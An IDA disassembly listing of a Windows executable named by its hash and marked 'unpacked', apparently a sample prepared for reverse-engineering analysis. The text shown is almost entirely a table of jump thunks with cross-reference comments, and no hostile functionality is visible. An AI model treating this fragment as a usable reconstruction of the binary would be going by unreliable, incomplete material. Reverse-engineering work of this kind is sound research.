;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	3C23FE8816A88EC3A72A3980BEBF2231

; File Name   :	u:\work\3c23fe8816a88ec3a72a3980bebf2231_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00112000 (1122304.)
; Section size in file		: 00112000 (1122304.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		db 5 dup(0CCh)
; ---------------------------------------------------------------------------
		jmp	loc_430920
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43F09Co
		jmp	loc_412D80

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421BF0+29p
		jmp	sub_422150
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_432540
; ---------------------------------------------------------------------------
		jmp	loc_420EA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:004119B3p
		jmp	sub_4119E0
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: ___:0040B29Dp
					; ___:0040B2AAp ...
		jmp	sub_403C50
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FB90+34p
		jmp	sub_40B0E0
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404CC0+616p
					; sub_404CC0+6D5p ...
		jmp	sub_40A110
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42B3F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_4135E0+3Bp
					; ___:00414C00p
		jmp	sub_4156D0
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_430B30+6Ep
					; sub_430B30+8Ap ...
		jmp	sub_4342D0
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:00430212p
					; sub_430B30+3Fp ...
		jmp	sub_434150
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_423A40

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D210
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B0E0+3Ap
					; sub_40B150+1Ap
		jmp	sub_433C70
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E760+37Bp
		jmp	sub_421D30
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C1A0+8p
		jmp	sub_40C360
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_432BF0+5Ap
					; sub_434A00+50p
		jmp	sub_432BB0
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43F07Co
		jmp	sub_41C710
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: ___:00416FAAp
		jmp	sub_41FCD0
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40106E	proc near		; CODE XREF: sub_40C040+32p
		jmp	sub_40C200
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: ___:00416FBAp
		jmp	sub_418390
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401078	proc near		; CODE XREF: sub_415920+6Ap
					; sub_416380+32p
		jmp	sub_4162C0
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E760+161p
					; sub_4224E0+3p
		jmp	sub_421B50
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ADE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421D30+3p
					; ___:004220FFp ...
		jmp	sub_422270
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C4E0+43p
		jmp	sub_40CBB0
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_4292E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_4075C0+Ap
		jmp	sub_407660
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4246D0+23p
					; sub_424870+6p ...
		jmp	sub_4245E0
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_431EF0+F5p
					; sub_431EF0+14Fp
		jmp	sub_4340E0
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_4344C0+C8p
		jmp	sub_431C80
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043F174o
		jmp	sub_42B0B0
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43F0A0o
		jmp	loc_41E3C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_418430+D0p
					; sub_418590+2Dp
		jmp	sub_418B20
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_410030+8D9p
					; sub_410030+990p ...
		jmp	sub_411930
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:00430626p
					; ___:00430694p ...
		jmp	sub_4321F0
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421E50+9p
					; sub_422340+18p
		jmp	sub_4224C0
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40AAD0+58p
					; sub_40AAD0+82p ...
		jmp	sub_40ACC0
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422B40+3F1p
					; ___:00423BA6p ...
		jmp	sub_419BE0
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010D7	proc near		; CODE XREF: sub_416110+7p
		jmp	sub_416740
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_415600+5Bp
					; sub_415F70+11p ...
		jmp	sub_4161C0
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_42AF20+58p
		jmp	sub_42AD90
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421970+1Fp
		jmp	sub_421DB0
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_4220B0+11p
					; ___:004220D7p ...
		jmp	sub_4225D0
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413E30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421B30+3p
					; ___:00421E9Fp ...
		jmp	sub_422010
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_4144D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_428210+3p
		jmp	sub_428240
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415B00+11p
					; ___:00415B27p ...
		jmp	sub_416570
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_434600

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421C60+5p
					; sub_421D50+6p ...
		jmp	sub_422250
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416B5Bp
					; ___:0043B25Ej ...
		jmp	sub_417B60
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404CC0+6Ap
					; sub_404CC0+1AFp ...
		jmp	sub_412A40
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43F074o
		jmp	sub_4193C0
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: sub_432D10+6p
					; ___:00432D23p ...
		jmp	sub_430770
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F6C0
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43F15Co
		jmp	loc_42AD20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423D9Dp
		jmp	sub_423860
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_433240

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:00415178p
		jmp	sub_415A90
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41BA50+F7p
					; sub_41BA50+10Bp ...
		jmp	sub_409F80
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_4099F0+Ap
		jmp	sub_409AE0
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_4134A0+55p
					; sub_4134A0+94p ...
		jmp	sub_415860
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_425100+18Cp
					; ___:00425F7Dp
		jmp	sub_4236F0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414C8Ep
		jmp	sub_415600
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_4288F0+3p
		jmp	sub_428920
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43F038o
		jmp	loc_4119B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415ED0+11p
					; ___:00415EF7p ...
		jmp	sub_4166F0
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_41D830

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418C10+23p
					; sub_418E80+11p
		jmp	sub_418F60
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418B90+3p
					; sub_418F90+54p ...
		jmp	sub_418DE0
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_4096E0+6Ap
					; sub_4096E0+103p
		jmp	sub_409980
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_433B30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413E4Dp
		jmp	sub_413C40
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A2E4p
		jmp	sub_41B0E0
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_4134A0+88p
					; sub_4148A0+BFp ...
		jmp	sub_415A30
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_430770+7p
					; sub_4307E0+19p ...
		jmp	sub_434BA0
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DBF0
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:0043239Ap
		jmp	sub_431D40
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_407230+11p
					; sub_4073C0+1Fp
		jmp	sub_407460
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_403720+3B5p
					; sub_403720+3C5p ...
		jmp	sub_403E50
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421D10+3p
		jmp	sub_422290
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C330+Ap
		jmp	sub_40C3F0
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_403720+1Dp
					; sub_407080+1Fp ...
		jmp	sub_403CC0
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011B8	proc near		; CODE XREF: ___:00413344p
					; ___:0043AC8Cj ...
		jmp	sub_415490
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42C640+3p
		jmp	sub_42C670
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AFE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011C7	proc near		; CODE XREF: ___:00414C9Dp
		jmp	sub_414D40
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407660+7p
					; sub_409AE0+7p ...
		jmp	sub_407690
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_4135E0+73p
					; ___:00414C3Dp ...
		jmp	sub_4156F0
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E760+58p
		jmp	sub_420630
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413E70+84p
		jmp	sub_4138B0
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:00433718p
		jmp	sub_431060
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_407510+8p
		jmp	sub_4075F0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404CC0+9Fp
					; sub_404CC0+230p ...
		jmp	sub_40A510
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011EF	proc near		; CODE XREF: sub_40A870+21p
					; sub_40AAD0+A5p
		jmp	sub_40AAB0
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B050

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A510+129p
					; sub_40A8F0+4p ...
		jmp	sub_40A8C0
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43F0DCo
		jmp	sub_427940
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:004335ADp
		jmp	sub_430D60
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_407340+3p
					; ___:0040740Fp ...
		jmp	sub_4074D0
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D930+346p
					; sub_41D930+410p ...
		jmp	sub_421970
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421BB0+11p
					; sub_4220B0+1Fp
		jmp	sub_4221E0
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42C7E0+3p
		jmp	sub_42C810
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_4077E0
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40C200+5Fp
		jmp	sub_40C3D0
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_403530+F6p
					; sub_403530+12Ep ...
		jmp	sub_409D10
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E760+113p
					; sub_41E760+124p
		jmp	sub_421B30
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043F060o
		jmp	sub_41F960
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416BFBp
					; ___:0043B1D2j ...
		jmp	sub_4177B0
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AFA0+Fp
		jmp	sub_431240
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40123F	proc near		; CODE XREF: sub_418C10+32p
		jmp	sub_418E80
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_434860

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_415500+5p
					; sub_415710+6p ...
		jmp	sub_416130
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BD90+29p
					; sub_40BEB0+29p
		jmp	sub_40C040
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401253	proc near		; CODE XREF: sub_41E760+3E9p
					; ___:0043C4ABj
		jmp	sub_421BF0
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_4145A0+BFp
		jmp	sub_4152E0
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_4165E0+Ap
		jmp	sub_416920
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401262	proc near		; CODE XREF: ___:00416C67p
					; ___:0043B173j ...
		jmp	sub_4170B0
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near
		jmp	sub_418430
sub_401267	endp

; ---------------------------------------------------------------------------
		jmp	sub_416D30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416F1Fp
		jmp	sub_4180D0
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414760
; ---------------------------------------------------------------------------
		jmp	loc_430320

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_410030+387p
					; sub_41F030+21Dp ...
		jmp	sub_41B7E0
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416F5Ap
		jmp	sub_418280
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409570+8p
		jmp	sub_4095C0
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42AD20

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401294	proc near		; CODE XREF: sub_4096E0+A5p
					; sub_412C90+21p
		jmp	sub_4098F0
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404CC0+382p
					; sub_41D930+5AAp
		jmp	sub_41C130
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416E6Fp
		jmp	sub_403720
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418CC0+23p
					; sub_418F90+11p
		jmp	sub_4190E0
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_424920+Cp
					; sub_424920+3Ep ...
		jmp	sub_424410
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_430960

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404CC0+85Ap
					; sub_404CC0+AD6p ...
		jmp	sub_40A370
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042FE06p
					; ___:0042FE56p ...
		jmp	sub_432780
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E760+367p
					; sub_41E760+3D4p ...
		jmp	sub_421D80
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_427D50+107o
		jmp	sub_427FD0
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_424800+18p
					; sub_424840+Ap ...
		jmp	sub_4247B0
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_416220+9p
					; sub_4162C0+18p
		jmp	sub_4168D0
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; DATA XREF: sub_432570+32o
		jmp	sub_432D70
sub_4012D0	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FE50
; ---------------------------------------------------------------------------
		jmp	loc_419CB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_42AD90+67p
		jmp	sub_41FFF0
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:004301E8p
					; sub_4303A0+2p ...
		jmp	sub_431560
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_413740+3Fp
					; sub_4145A0+40p ...
		jmp	sub_415230
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404690+19Fp
					; sub_404690+212p ...
		jmp	sub_409FD0
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424F70+B5p
					; sub_424F70+F1p
		jmp	sub_424F00
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_425100+130p
		jmp	sub_424F70
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416F3Ap
		jmp	sub_418180
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416F0Fp
		jmp	sub_418010
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_4316C0+1p
		jmp	sub_431750
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00427201p
		jmp	sub_427740
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_418430+71p
					; sub_418430+BBp ...
		jmp	sub_418AF0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A180+7p
		jmp	sub_40A1A0
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:004329C8p
					; sub_432A20+2Bp
		jmp	sub_432BF0
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_432570+1p
		jmp	sub_4327B0
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_4208E0+37Bp
		jmp	sub_421CD0
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_414430+5Bp
		jmp	sub_415100
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_415490+29p
					; sub_4155B0+29p
		jmp	sub_416030
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00437232p
					; ___:00437242p ...
		jmp	sub_4370F0
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_4134A0+5Fp
					; sub_4134A0+9Ep ...
		jmp	sub_415A60
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B600+62p
					; ___:0040BAC8p ...
		jmp	sub_40BF40
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4313B0
; ---------------------------------------------------------------------------
		jmp	loc_42FF30
; ---------------------------------------------------------------------------


loc_40134D:				; DATA XREF: ___:0043F1A8o
		jmp	loc_42C690
; ---------------------------------------------------------------------------
		jmp	loc_42C5D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416190+8p
		jmp	sub_4167B0
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_4134A0+71p
					; sub_4134A0:loc_41356Cp ...
		jmp	sub_415A10
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_418430+AFp
					; sub_4190E0+3p
		jmp	sub_418BB0
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043F104o
		jmp	sub_427D50
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B600+39p
					; sub_40B600+78p ...
		jmp	sub_40BF70
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_426A90+29p
					; sub_426A90+38p
		jmp	sub_4269A0
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A600+1Cp
		jmp	sub_41A640
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043F164o
		jmp	sub_42AF20
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408C9Cp
					; ___:00414551p
		jmp	sub_414300
sub_40137F	endp


